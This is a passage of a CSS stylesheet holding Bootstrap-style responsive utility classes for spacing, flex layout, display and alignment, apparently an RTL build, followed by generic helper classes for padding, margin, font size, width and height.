padding-left: 0.5rem !important; } .px-lg-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-lg-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-lg-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-lg-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-lg-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-lg-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-lg-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-lg-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-lg-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-lg-0 { padding-top: 0 !important; } .pt-lg-1 { padding-top: 0.25rem !important; } .pt-lg-2 { padding-top: 0.5rem !important; } .pt-lg-3 { padding-top: 1rem !important; } .pt-lg-4 { padding-top: 1.5rem !important; } .pt-lg-5 { padding-top: 3rem !important; } .pe-lg-0 { padding-left: 0 !important; } .pe-lg-1 { padding-left: 0.25rem !important; } .pe-lg-2 { padding-left: 0.5rem !important; } .pe-lg-3 { padding-left: 1rem !important; } .pe-lg-4 { padding-left: 1.5rem !important; } .pe-lg-5 { padding-left: 3rem !important; } .pb-lg-0 { padding-bottom: 0 !important; } .pb-lg-1 { padding-bottom: 0.25rem !important; } .pb-lg-2 { padding-bottom: 0.5rem !important; } .pb-lg-3 { padding-bottom: 1rem !important; } .pb-lg-4 { padding-bottom: 1.5rem !important; } .pb-lg-5 { padding-bottom: 3rem !important; } .ps-lg-0 { padding-right: 0 !important; } .ps-lg-1 { padding-right: 0.25rem !important; } .ps-lg-2 { padding-right: 0.5rem !important; } .ps-lg-3 { padding-right: 1rem !important; } .ps-lg-4 { padding-right: 1.5rem !important; } .ps-lg-5 { padding-right: 3rem !important; } .gap-lg-0 { gap: 0 !important; } .gap-lg-1 { gap: 0.25rem !important; } .gap-lg-2 { gap: 0.5rem !important; } .gap-lg-3 { gap: 1rem !important; } .gap-lg-4 { gap: 1.5rem !important; } .gap-lg-5 { gap: 3rem !important; } .text-lg-start { text-align: right !important; } .text-lg-end { text-align: left !important; } .text-lg-center { text-align: center !important; } } @media (min-width: 1200px) { .float-xl-start { float: right !important; } .float-xl-end { float: left !important; } .float-xl-none { float: none !important; } .d-xl-inline { display: inline !important; } .d-xl-inline-block { display: inline-block !important; } .d-xl-block { display: block !important; } .d-xl-grid { display: grid !important; } .d-xl-table { display: table !important; } .d-xl-table-row { display: table-row !important; } .d-xl-table-cell { display: table-cell !important; } .d-xl-flex { display: flex !important; } .d-xl-inline-flex { display: inline-flex !important; } .d-xl-none { display: none !important; } .flex-xl-fill { flex: 1 1 auto !important; } .flex-xl-row { flex-direction: row !important; } .flex-xl-column { flex-direction: column !important; } .flex-xl-row-reverse { flex-direction: row-reverse !important; } .flex-xl-column-reverse { flex-direction: column-reverse !important; } .flex-xl-grow-0 { flex-grow: 0 !important; } .flex-xl-grow-1 { flex-grow: 1 !important; } .flex-xl-shrink-0 { flex-shrink: 0 !important; } .flex-xl-shrink-1 { flex-shrink: 1 !important; } .flex-xl-wrap { flex-wrap: wrap !important; } .flex-xl-nowrap { flex-wrap: nowrap !important; } .flex-xl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xl-start { justify-content: flex-end !important; } .justify-content-xl-end { justify-content: flex-start !important; } .justify-content-xl-center { justify-content: center !important; } .justify-content-xl-between { justify-content: space-between !important; } .justify-content-xl-around { justify-content: space-around !important; } .justify-content-xl-evenly { justify-content: space-evenly !important; } .align-items-xl-start { align-items: flex-start !important; } .align-items-xl-end { align-items: flex-end !important; } .align-items-xl-center { align-items: center !important; } .align-items-xl-baseline { align-items: baseline !important; } .align-items-xl-stretch { align-items: stretch !important; } .align-content-xl-start { align-content: flex-end !important; } .align-content-xl-end { align-content: flex-start !important; } .align-content-xl-center { align-content: center !important; } .align-content-xl-between { align-content: space-between !important; } .align-content-xl-around { align-content: space-around !important; } .align-content-xl-stretch { align-content: stretch !important; } .align-self-xl-auto { align-self: auto !important; } .align-self-xl-start { align-self: flex-end !important; } .align-self-xl-end { align-self: flex-start !important; } .align-self-xl-center { align-self: center !important; } .align-self-xl-baseline { align-self: baseline !important; } .align-self-xl-stretch { align-self: stretch !important; } .order-xl-first { order: -1 !important; } .order-xl-0 { order: 0 !important; } .order-xl-1 { order: 1 !important; } .order-xl-2 { order: 2 !important; } .order-xl-3 { order: 3 !important; } .order-xl-4 { order: 4 !important; } .order-xl-5 { order: 5 !important; } .order-xl-last { order: 6 !important; } .m-xl-0 { margin: 0 !important; } .m-xl-1 { margin: 0.25rem !important; } .m-xl-2 { margin: 0.5rem !important; } .m-xl-3 { margin: 1rem !important; } .m-xl-4 { margin: 1.5rem !important; } .m-xl-5 { margin: 3rem !important; } .m-xl-auto { margin: auto !important; } .mx-xl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xl-0 { margin-top: 0 !important; } .mt-xl-1 { margin-top: 0.25rem !important; } .mt-xl-2 { margin-top: 0.5rem !important; } .mt-xl-3 { margin-top: 1rem !important; } .mt-xl-4 { margin-top: 1.5rem !important; } .mt-xl-5 { margin-top: 3rem !important; } .mt-xl-auto { margin-top: auto !important; } .me-xl-0 { margin-left: 0 !important; } .me-xl-1 { margin-left: 0.25rem !important; } .me-xl-2 { margin-left: 0.5rem !important; } .me-xl-3 { margin-left: 1rem !important; } .me-xl-4 { margin-left: 1.5rem !important; } .me-xl-5 { margin-left: 3rem !important; } .me-xl-auto { margin-left: auto !important; } .mb-xl-0 { margin-bottom: 0 !important; } .mb-xl-1 { margin-bottom: 0.25rem !important; } .mb-xl-2 { margin-bottom: 0.5rem !important; } .mb-xl-3 { margin-bottom: 1rem !important; } .mb-xl-4 { margin-bottom: 1.5rem !important; } .mb-xl-5 { margin-bottom: 3rem !important; } .mb-xl-auto { margin-bottom: auto !important; } .ms-xl-0 { margin-right: 0 !important; } .ms-xl-1 { margin-right: 0.25rem !important; } .ms-xl-2 { margin-right: 0.5rem !important; } .ms-xl-3 { margin-right: 1rem !important; } .ms-xl-4 { margin-right: 1.5rem !important; } .ms-xl-5 { margin-right: 3rem !important; } .ms-xl-auto { margin-right: auto !important; } .m-xl-n1 { margin: -0.25rem !important; } .m-xl-n2 { margin: -0.5rem !important; } .m-xl-n3 { margin: -1rem !important; } .m-xl-n4 { margin: -1.5rem !important; } .m-xl-n5 { margin: -3rem !important; } .mx-xl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xl-n1 { margin-top: -0.25rem !important; } .mt-xl-n2 { margin-top: -0.5rem !important; } .mt-xl-n3 { margin-top: -1rem !important; } .mt-xl-n4 { margin-top: -1.5rem !important; } .mt-xl-n5 { margin-top: -3rem !important; } .me-xl-n1 { margin-left: -0.25rem !important; } .me-xl-n2 { margin-left: -0.5rem !important; } .me-xl-n3 { margin-left: -1rem !important; } .me-xl-n4 { margin-left: -1.5rem !important; } .me-xl-n5 { margin-left: -3rem !important; } .mb-xl-n1 { margin-bottom: -0.25rem !important; } .mb-xl-n2 { margin-bottom: -0.5rem !important; } .mb-xl-n3 { margin-bottom: -1rem !important; } .mb-xl-n4 { margin-bottom: -1.5rem !important; } .mb-xl-n5 { margin-bottom: -3rem !important; } .ms-xl-n1 { margin-right: -0.25rem !important; } .ms-xl-n2 { margin-right: -0.5rem !important; } .ms-xl-n3 { margin-right: -1rem !important; } .ms-xl-n4 { margin-right: -1.5rem !important; } .ms-xl-n5 { margin-right: -3rem !important; } .p-xl-0 { padding: 0 !important; } .p-xl-1 { padding: 0.25rem !important; } .p-xl-2 { padding: 0.5rem !important; } .p-xl-3 { padding: 1rem !important; } .p-xl-4 { padding: 1.5rem !important; } .p-xl-5 { padding: 3rem !important; } .px-xl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xl-0 { padding-top: 0 !important; } .pt-xl-1 { padding-top: 0.25rem !important; } .pt-xl-2 { padding-top: 0.5rem !important; } .pt-xl-3 { padding-top: 1rem !important; } .pt-xl-4 { padding-top: 1.5rem !important; } .pt-xl-5 { padding-top: 3rem !important; } .pe-xl-0 { padding-left: 0 !important; } .pe-xl-1 { padding-left: 0.25rem !important; } .pe-xl-2 { padding-left: 0.5rem !important; } .pe-xl-3 { padding-left: 1rem !important; } .pe-xl-4 { padding-left: 1.5rem !important; } .pe-xl-5 { padding-left: 3rem !important; } .pb-xl-0 { padding-bottom: 0 !important; } .pb-xl-1 { padding-bottom: 0.25rem !important; } .pb-xl-2 { padding-bottom: 0.5rem !important; } .pb-xl-3 { padding-bottom: 1rem !important; } .pb-xl-4 { padding-bottom: 1.5rem !important; } .pb-xl-5 { padding-bottom: 3rem !important; } .ps-xl-0 { padding-right: 0 !important; } .ps-xl-1 { padding-right: 0.25rem !important; } .ps-xl-2 { padding-right: 0.5rem !important; } .ps-xl-3 { padding-right: 1rem !important; } .ps-xl-4 { padding-right: 1.5rem !important; } .ps-xl-5 { padding-right: 3rem !important; } .gap-xl-0 { gap: 0 !important; } .gap-xl-1 { gap: 0.25rem !important; } .gap-xl-2 { gap: 0.5rem !important; } .gap-xl-3 { gap: 1rem !important; } .gap-xl-4 { gap: 1.5rem !important; } .gap-xl-5 { gap: 3rem !important; } .text-xl-start { text-align: right !important; } .text-xl-end { text-align: left !important; } .text-xl-center { text-align: center !important; } } @media (min-width: 1400px) { .float-xxl-start { float: right !important; } .float-xxl-end { float: left !important; } .float-xxl-none { float: none !important; } .d-xxl-inline { display: inline !important; } .d-xxl-inline-block { display: inline-block !important; } .d-xxl-block { display: block !important; } .d-xxl-grid { display: grid !important; } .d-xxl-table { display: table !important; } .d-xxl-table-row { display: table-row !important; } .d-xxl-table-cell { display: table-cell !important; } .d-xxl-flex { display: flex !important; } .d-xxl-inline-flex { display: inline-flex !important; } .d-xxl-none { display: none !important; } .flex-xxl-fill { flex: 1 1 auto !important; } .flex-xxl-row { flex-direction: row !important; } .flex-xxl-column { flex-direction: column !important; } .flex-xxl-row-reverse { flex-direction: row-reverse !important; } .flex-xxl-column-reverse { flex-direction: column-reverse !important; } .flex-xxl-grow-0 { flex-grow: 0 !important; } .flex-xxl-grow-1 { flex-grow: 1 !important; } .flex-xxl-shrink-0 { flex-shrink: 0 !important; } .flex-xxl-shrink-1 { flex-shrink: 1 !important; } .flex-xxl-wrap { flex-wrap: wrap !important; } .flex-xxl-nowrap { flex-wrap: nowrap !important; } .flex-xxl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xxl-start { justify-content: flex-end !important; } .justify-content-xxl-end { justify-content: flex-start !important; } .justify-content-xxl-center { justify-content: center !important; } .justify-content-xxl-between { justify-content: space-between !important; } .justify-content-xxl-around { justify-content: space-around !important; } .justify-content-xxl-evenly { justify-content: space-evenly !important; } .align-items-xxl-start { align-items: flex-start !important; } .align-items-xxl-end { align-items: flex-end !important; } .align-items-xxl-center { align-items: center !important; } .align-items-xxl-baseline { align-items: baseline !important; } .align-items-xxl-stretch { align-items: stretch !important; } .align-content-xxl-start { align-content: flex-end !important; } .align-content-xxl-end { align-content: flex-start !important; } .align-content-xxl-center { align-content: center !important; } .align-content-xxl-between { align-content: space-between !important; } .align-content-xxl-around { align-content: space-around !important; } .align-content-xxl-stretch { align-content: stretch !important; } .align-self-xxl-auto { align-self: auto !important; } .align-self-xxl-start { align-self: flex-end !important; } .align-self-xxl-end { align-self: flex-start !important; } .align-self-xxl-center { align-self: center !important; } .align-self-xxl-baseline { align-self: baseline !important; } .align-self-xxl-stretch { align-self: stretch !important; } .order-xxl-first { order: -1 !important; } .order-xxl-0 { order: 0 !important; } .order-xxl-1 { order: 1 !important; } .order-xxl-2 { order: 2 !important; } .order-xxl-3 { order: 3 !important; } .order-xxl-4 { order: 4 !important; } .order-xxl-5 { order: 5 !important; } .order-xxl-last { order: 6 !important; } .m-xxl-0 { margin: 0 !important; } .m-xxl-1 { margin: 0.25rem !important; } .m-xxl-2 { margin: 0.5rem !important; } .m-xxl-3 { margin: 1rem !important; } .m-xxl-4 { margin: 1.5rem !important; } .m-xxl-5 { margin: 3rem !important; } .m-xxl-auto { margin: auto !important; } .mx-xxl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xxl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xxl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xxl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xxl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xxl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xxl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xxl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xxl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xxl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xxl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xxl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xxl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xxl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xxl-0 { margin-top: 0 !important; } .mt-xxl-1 { margin-top: 0.25rem !important; } .mt-xxl-2 { margin-top: 0.5rem !important; } .mt-xxl-3 { margin-top: 1rem !important; } .mt-xxl-4 { margin-top: 1.5rem !important; } .mt-xxl-5 { margin-top: 3rem !important; } .mt-xxl-auto { margin-top: auto !important; } .me-xxl-0 { margin-left: 0 !important; } .me-xxl-1 { margin-left: 0.25rem !important; } .me-xxl-2 { margin-left: 0.5rem !important; } .me-xxl-3 { margin-left: 1rem !important; } .me-xxl-4 { margin-left: 1.5rem !important; } .me-xxl-5 { margin-left: 3rem !important; } .me-xxl-auto { margin-left: auto !important; } .mb-xxl-0 { margin-bottom: 0 !important; } .mb-xxl-1 { margin-bottom: 0.25rem !important; } .mb-xxl-2 { margin-bottom: 0.5rem !important; } .mb-xxl-3 { margin-bottom: 1rem !important; } .mb-xxl-4 { margin-bottom: 1.5rem !important; } .mb-xxl-5 { margin-bottom: 3rem !important; } .mb-xxl-auto { margin-bottom: auto !important; } .ms-xxl-0 { margin-right: 0 !important; } .ms-xxl-1 { margin-right: 0.25rem !important; } .ms-xxl-2 { margin-right: 0.5rem !important; } .ms-xxl-3 { margin-right: 1rem !important; } .ms-xxl-4 { margin-right: 1.5rem !important; } .ms-xxl-5 { margin-right: 3rem !important; } .ms-xxl-auto { margin-right: auto !important; } .m-xxl-n1 { margin: -0.25rem !important; } .m-xxl-n2 { margin: -0.5rem !important; } .m-xxl-n3 { margin: -1rem !important; } .m-xxl-n4 { margin: -1.5rem !important; } .m-xxl-n5 { margin: -3rem !important; } .mx-xxl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xxl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xxl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xxl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xxl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xxl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xxl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xxl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xxl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xxl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xxl-n1 { margin-top: -0.25rem !important; } .mt-xxl-n2 { margin-top: -0.5rem !important; } .mt-xxl-n3 { margin-top: -1rem !important; } .mt-xxl-n4 { margin-top: -1.5rem !important; } .mt-xxl-n5 { margin-top: -3rem !important; } .me-xxl-n1 { margin-left: -0.25rem !important; } .me-xxl-n2 { margin-left: -0.5rem !important; } .me-xxl-n3 { margin-left: -1rem !important; } .me-xxl-n4 { margin-left: -1.5rem !important; } .me-xxl-n5 { margin-left: -3rem !important; } .mb-xxl-n1 { margin-bottom: -0.25rem !important; } .mb-xxl-n2 { margin-bottom: -0.5rem !important; } .mb-xxl-n3 { margin-bottom: -1rem !important; } .mb-xxl-n4 { margin-bottom: -1.5rem !important; } .mb-xxl-n5 { margin-bottom: -3rem !important; } .ms-xxl-n1 { margin-right: -0.25rem !important; } .ms-xxl-n2 { margin-right: -0.5rem !important; } .ms-xxl-n3 { margin-right: -1rem !important; } .ms-xxl-n4 { margin-right: -1.5rem !important; } .ms-xxl-n5 { margin-right: -3rem !important; } .p-xxl-0 { padding: 0 !important; } .p-xxl-1 { padding: 0.25rem !important; } .p-xxl-2 { padding: 0.5rem !important; } .p-xxl-3 { padding: 1rem !important; } .p-xxl-4 { padding: 1.5rem !important; } .p-xxl-5 { padding: 3rem !important; } .px-xxl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xxl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xxl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xxl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xxl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xxl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xxl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xxl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xxl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xxl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xxl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xxl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xxl-0 { padding-top: 0 !important; } .pt-xxl-1 { padding-top: 0.25rem !important; } .pt-xxl-2 { padding-top: 0.5rem !important; } .pt-xxl-3 { padding-top: 1rem !important; } .pt-xxl-4 { padding-top: 1.5rem !important; } .pt-xxl-5 { padding-top: 3rem !important; } .pe-xxl-0 { padding-left: 0 !important; } .pe-xxl-1 { padding-left: 0.25rem !important; } .pe-xxl-2 { padding-left: 0.5rem !important; } .pe-xxl-3 { padding-left: 1rem !important; } .pe-xxl-4 { padding-left: 1.5rem !important; } .pe-xxl-5 { padding-left: 3rem !important; } .pb-xxl-0 { padding-bottom: 0 !important; } .pb-xxl-1 { padding-bottom: 0.25rem !important; } .pb-xxl-2 { padding-bottom: 0.5rem !important; } .pb-xxl-3 { padding-bottom: 1rem !important; } .pb-xxl-4 { padding-bottom: 1.5rem !important; } .pb-xxl-5 { padding-bottom: 3rem !important; } .ps-xxl-0 { padding-right: 0 !important; } .ps-xxl-1 { padding-right: 0.25rem !important; } .ps-xxl-2 { padding-right: 0.5rem !important; } .ps-xxl-3 { padding-right: 1rem !important; } .ps-xxl-4 { padding-right: 1.5rem !important; } .ps-xxl-5 { padding-right: 3rem !important; } .gap-xxl-0 { gap: 0 !important; } .gap-xxl-1 { gap: 0.25rem !important; } .gap-xxl-2 { gap: 0.5rem !important; } .gap-xxl-3 { gap: 1rem !important; } .gap-xxl-4 { gap: 1.5rem !important; } .gap-xxl-5 { gap: 3rem !important; } .text-xxl-start { text-align: right !important; } .text-xxl-end { text-align: left !important; } .text-xxl-center { text-align: center !important; } } @media (min-width: 1200px) { .fs-1 { font-size: 2.25rem !important; } .fs-2 { font-size: 1.75rem !important; } .fs-3 { font-size: 1.5rem !important; } } @media print { .d-print-inline { display: inline !important; } .d-print-inline-block { display: inline-block !important; } .d-print-block { display: block !important; } .d-print-grid { display: grid !important; } .d-print-table { display: table !important; } .d-print-table-row { display: table-row !important; } .d-print-table-cell { display: table-cell !important; } .d-print-flex { display: flex !important; } .d-print-inline-flex { display: inline-flex !important; } .d-print-none { display: none !important; } } /** ===================== Generic-class css start ========================== **/ /*====== Padding , Margin css starts ======*/ .p-0 { padding: 0px; } .p-t-0 { padding-top: 0px; } .p-b-0 { padding-bottom: 0px; } .p-l-0 { padding-left: 0px; } .p-r-0 { padding-right: 0px; } .m-0 { margin: 0px; } .m-t-0 { margin-top: 0px; } .m-b-0 { margin-bottom: 0px; } .m-l-0 { margin-left: 0px; } .m-r-0 { margin-right: 0px; } .p-5 { padding: 5px; } .p-t-5 { padding-top: 5px; } .p-b-5 { padding-bottom: 5px; } .p-l-5 { padding-left: 5px; } .p-r-5 { padding-right: 5px; } .m-5 { margin: 5px; } .m-t-5 { margin-top: 5px; } .m-b-5 { margin-bottom: 5px; } .m-l-5 { margin-left: 5px; } .m-r-5 { margin-right: 5px; } .p-10 { padding: 10px; } .p-t-10 { padding-top: 10px; } .p-b-10 { padding-bottom: 10px; } .p-l-10 { padding-left: 10px; } .p-r-10 { padding-right: 10px; } .m-10 { margin: 10px; } .m-t-10 { margin-top: 10px; } .m-b-10 { margin-bottom: 10px; } .m-l-10 { margin-left: 10px; } .m-r-10 { margin-right: 10px; } .p-15 { padding: 15px; } .p-t-15 { padding-top: 15px; } .p-b-15 { padding-bottom: 15px; } .p-l-15 { padding-left: 15px; } .p-r-15 { padding-right: 15px; } .m-15 { margin: 15px; } .m-t-15 { margin-top: 15px; } .m-b-15 { margin-bottom: 15px; } .m-l-15 { margin-left: 15px; } .m-r-15 { margin-right: 15px; } .p-20 { padding: 20px; } .p-t-20 { padding-top: 20px; } .p-b-20 { padding-bottom: 20px; } .p-l-20 { padding-left: 20px; } .p-r-20 { padding-right: 20px; } .m-20 { margin: 20px; } .m-t-20 { margin-top: 20px; } .m-b-20 { margin-bottom: 20px; } .m-l-20 { margin-left: 20px; } .m-r-20 { margin-right: 20px; } .p-25 { padding: 25px; } .p-t-25 { padding-top: 25px; } .p-b-25 { padding-bottom: 25px; } .p-l-25 { padding-left: 25px; } .p-r-25 { padding-right: 25px; } .m-25 { margin: 25px; } .m-t-25 { margin-top: 25px; } .m-b-25 { margin-bottom: 25px; } .m-l-25 { margin-left: 25px; } .m-r-25 { margin-right: 25px; } .p-30 { padding: 30px; } .p-t-30 { padding-top: 30px; } .p-b-30 { padding-bottom: 30px; } .p-l-30 { padding-left: 30px; } .p-r-30 { padding-right: 30px; } .m-30 { margin: 30px; } .m-t-30 { margin-top: 30px; } .m-b-30 { margin-bottom: 30px; } .m-l-30 { margin-left: 30px; } .m-r-30 { margin-right: 30px; } .p-35 { padding: 35px; } .p-t-35 { padding-top: 35px; } .p-b-35 { padding-bottom: 35px; } .p-l-35 { padding-left: 35px; } .p-r-35 { padding-right: 35px; } .m-35 { margin: 35px; } .m-t-35 { margin-top: 35px; } .m-b-35 { margin-bottom: 35px; } .m-l-35 { margin-left: 35px; } .m-r-35 { margin-right: 35px; } .p-40 { padding: 40px; } .p-t-40 { padding-top: 40px; } .p-b-40 { padding-bottom: 40px; } .p-l-40 { padding-left: 40px; } .p-r-40 { padding-right: 40px; } .m-40 { margin: 40px; } .m-t-40 { margin-top: 40px; } .m-b-40 { margin-bottom: 40px; } .m-l-40 { margin-left: 40px; } .m-r-40 { margin-right: 40px; } .p-45 { padding: 45px; } .p-t-45 { padding-top: 45px; } .p-b-45 { padding-bottom: 45px; } .p-l-45 { padding-left: 45px; } .p-r-45 { padding-right: 45px; } .m-45 { margin: 45px; } .m-t-45 { margin-top: 45px; } .m-b-45 { margin-bottom: 45px; } .m-l-45 { margin-left: 45px; } .m-r-45 { margin-right: 45px; } .p-50 { padding: 50px; } .p-t-50 { padding-top: 50px; } .p-b-50 { padding-bottom: 50px; } .p-l-50 { padding-left: 50px; } .p-r-50 { padding-right: 50px; } .m-50 { margin: 50px; } .m-t-50 { margin-top: 50px; } .m-b-50 { margin-bottom: 50px; } .m-l-50 { margin-left: 50px; } .m-r-50 { margin-right: 50px; } /*====== Padding , Margin css ends ======*/ /*====== Font-size css starts ======*/ .f-10 { font-size: 10px; } .f-12 { font-size: 12px; } .f-14 { font-size: 14px; } .f-16 { font-size: 16px; } .f-18 { font-size: 18px; } .f-20 { font-size: 20px; } .f-22 { font-size: 22px; } .f-24 { font-size: 24px; } .f-26 { font-size: 26px; } .f-28 { font-size: 28px; } .f-30 { font-size: 30px; } .f-32 { font-size: 32px; } .f-34 { font-size: 34px; } .f-36 { font-size: 36px; } .f-38 { font-size: 38px; } .f-40 { font-size: 40px; } .f-42 { font-size: 42px; } .f-44 { font-size: 44px; } .f-46 { font-size: 46px; } .f-48 { font-size: 48px; } .f-50 { font-size: 50px; } .f-52 { font-size: 52px; } .f-54 { font-size: 54px; } .f-56 { font-size: 56px; } .f-58 { font-size: 58px; } .f-60 { font-size: 60px; } .f-62 { font-size: 62px; } .f-64 { font-size: 64px; } .f-66 { font-size: 66px; } .f-68 { font-size: 68px; } .f-70 { font-size: 70px; } .f-72 { font-size: 72px; } .f-74 { font-size: 74px; } .f-76 { font-size: 76px; } .f-78 { font-size: 78px; } .f-80 { font-size: 80px; } /*====== Font-size css ends ======*/ /*====== Font-weight css starts ======*/ .f-w-100 { font-weight: 100; } .f-w-200 { font-weight: 200; } .f-w-300 { font-weight: 300; } .f-w-400 { font-weight: 400; } .f-w-500 { font-weight: 500; } .f-w-600 { font-weight: 600; } .f-w-700 { font-weight: 700; } .f-w-800 { font-weight: 800; } .f-w-900 { font-weight: 900; } /*====== Font-weight css ends ======*/ /*====== width, Height css starts ======*/ .wid-10 { width: 10px; } .hei-10 { height: 10px; } .wid-15 { width: 15px; } .hei-15 { height: 15px; } .wid-20 { width: 20px; } .hei-20 { height: 20px; } .wid-25 { width: 25px; } .hei-25 { height: 25px; } .wid-30 { width: 30px; } .hei-30 { height: 30px; } .wid-35 { width: 35px; } .hei-35 { height: 35px; } .wid-40 { width: 40px; } .hei-40 { height: 40px; } .wid-45 { width: 45px; } .hei-45 { height: 45px; } .wid-50 { width: 50px; } .hei-50 { height: 50px; } .wid-55 { width: 55px; } .hei-55 { height: 55px; } .wid-60 { width: 60px; } .hei-60 { height: 60px; } .wid-65 { width: 65px; } .hei-65 { height: 65px; } .wid-70 { width: 70px; } .hei-70 { height: 70px; } .wid-75 { width: 75px; } .hei-75 { height: 75px; } .wid-80 { width: 80px; } .hei-80 { height: 80px; } .wid-85 { width: 85px; } .hei-85 { height: 85px; } .wid-90 { width: 90px; } .hei-90 { height: 90px; } .wid-95 { width: 95px; } .hei-95 { height: 95px; } .wid-100 { width: 100px; } .hei-100 { height: 100px; } .wid-105 { width: 105px; } .hei-105 { height: 105px; } .wid-110 { width: 110px; } .hei-110 { height: 110px; } .wid-115 { width: 115px; } .hei-115 { height: 115px; } .wid-120 { width: 120px; } .hei-120 { height: 120px; } .wid-125 { width: 125px; } .hei-125 { height: 125px; } .wid-130 { width: 130px; } .hei-130 { height: 130px; } .wid-135 { width: 135px; } .hei-135 { height: 135px; } .wid-140 { width: 140px; } .hei-140 { height: 140px; } .wid-145 { width: 145px; } .hei-145 { height: 145px; } .wid-150 { width: 150px; } .hei-150 { height: 150px; } /*====== width, Height css ends ======*/ /*====== border-width css starts ======*/ .b-wid-1 { border-width: 1px; } .b-wid-2 { border-width: 2px; } .b-wid-3 { border-width: 3px; } .b-wid-4 { border-width: 4px; } .b-wid-5 { border-width: 5px; } .b-wid-6 { border-width: 6px; } 